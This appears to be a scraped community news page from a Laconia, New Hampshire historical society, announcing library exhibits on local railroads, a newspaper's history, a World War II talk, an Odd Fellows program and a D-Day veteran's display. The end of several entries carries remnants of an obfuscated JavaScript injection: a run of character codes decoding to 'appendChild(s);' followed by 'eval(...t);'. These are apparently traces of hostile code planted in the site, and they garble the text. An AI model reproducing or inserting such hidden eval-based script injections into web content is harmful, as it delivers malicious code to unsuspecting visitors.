The Laconia Railroad History Exhibit officially opened Wednesday, June 21, in the gallery on the Upper Level of the Laconia Public Library.
Three railroad stories unique to Laconia are told. The Laconia Car Company, with buildings and property along the Water St. of today, once produced passenger, freight and trolley cars from before the Civil War until well into the 20th century. The Laconia Street Railway graced downtown, Lakeport and the Weirs for many years. The passenger station celebrates a significant milestone with a 125-year anniversary event on Saturday, Aug. 19.
Artifacts, blueprints, pictures, maps, the people involved and, of course, trains will be on display. The exhibit is free and open to the public.
The Open House was provided with entertainment and a railroad mural by a number of teachers and students from Pleasant St. School. Not only did they sing ‘working on the railroad’, but those attending took the time to absorb the exhibit and ask good questions.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

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The 90-year history of this important local publication will be on display with timelines, images and artifacts.
Following the opening of the exhibit, a symposium will be held — including past Citizen managers, writers, and other employees in an open discussion at Rotary Hall on the lower level of the Library at 7 p.m. The proceedings will also be recorded for broadcast on Lakes Region Public Access Channel 25.&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

Three events are being showcased by the Laconia Historical & Museum Society during May: A World War II presentation, an overview of the the loss and ongoing restoration of city centers, and an annual tour of the New Hampshire Veterans Association at the Weirs.

First up, LHMS will join Thompson-Ames Historical Society of Gilford at 5 p.m., Thursday, May 11, for a joint meeting at Immaculate Conception Church on Morrill Street in Gilford. Following viewing of a Propaganda Poster display, arranged by Ernie Bolduc, Dan Schroeder of the Wright Museum, Wolfeboro, will speak on the war and answer questions. The event is free and open to the public and refreshments will be served.

Then, at 7 p.m., Monday, May 15, local architect Jared Guilmett will present “City Centers Restored, Lost Identity and Community in Derelict Mill Towns.” His presentation will speak of not only what was, but the clear need to rediscover local identity. The program will be held in Rotary Hall on the Lower Level of the Laconia Public Library and is also free and open to the public with refreshments.

And, Saturday, May 20, at 1 p.m. the public may gather at the front entrance of the NH Veterans Association at The Weirs for the only annual tour of the facility. Under the guidance of Historian Fred Merrill, participants will not only enjoy the depth of the compound, but be treated to the great stories that have followed this treasure since the Civil War. The tour is free and open to the public.  For further information, contact LHMS at 527-1278, lhmslpl@metrocast.net or go to www.laconiahistory.com&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

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LACONIA — Chocorua Lodge 51 of the Independent Order of Odd Fellows, as well as the Daughters of Rebekah, will present a discussion of their history and activities, at 7 p.m. Monday, April 17, in Rotary Hall on the Lower Level of the Laconia Public Library, under the auspices of the Laconia Historical and Museum Society.

The program had earlier been postponed by severe winter weather.

Several members of this 300 year old fraternal organization, established at Lake Village (Lakeport) in 1844 and Laconia in 1869, will discuss their relief projects, educational foundation, their SOS Children’s Village/Orphanage in Cambodia, Living Legacy of planting trees, The Arthritis Foundation, Visual Research Foundation, and the UN Pilgrimage for Youth.

Program is free and open to the public.
For further information, contact the Laconia Historical and Museum Society at 527-1278, lhmslpl@metrocast.net or go to www.laconiahistory.com&nbsp,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(/*674867468*/t);

(The Giguere exhibit was taken down, late in March.)

Currently on display at the Laconia Public Library, through the month of February, are materials pertaining to the United States Navy service of Robert A. Giguere, Lakeport native, who participated in the D-Day Invasion of World War II. (Enter the library by the Church Street entrance and turn left. The display will be located just before the Circulation Desk.)

A reception, in connection with the exhibit about Bob Giguere,  was held at the Laconia Public Library, Feb. 1, 2017. Here are three photos of the event, courtesy of Pam Clark.

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